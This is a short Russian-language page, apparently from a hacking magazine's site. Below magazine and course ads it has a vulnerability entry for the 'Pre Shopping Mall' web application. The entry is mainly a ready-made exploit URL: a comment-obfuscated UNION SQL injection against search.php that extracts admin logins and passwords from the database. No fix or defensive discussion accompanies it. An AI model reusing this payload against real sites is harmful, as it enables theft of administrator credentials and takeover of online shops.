Лучшие статьи квартала на бумаге
2 000 ₽
Заказать журнал
Полный доступ к статьям и архиву выпусков
6 000 ₽ в год
Подписаться
Совместный курс «Хакера» и лаборатории «Хаксет»
7 000 ₽
Купить курс
Лучшие статьи за 2021–2022 годы на бумаге
2 000 ₽
Заказать журнал
Программа: Pre Shopping Mall
Уязвимость позволяет удаленному злоумышленнику выполнить произвольные SQL-запросы в базе данных приложения.
Эксплоит:
http://site.com/emall/search.php?search='/**/and/**/1=2/**/UNION/**/ALL/* */SELECT/**/1,2,3,CONCAT(login,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16/* */FROM/**/admin/*
Сайт защищен Qrator —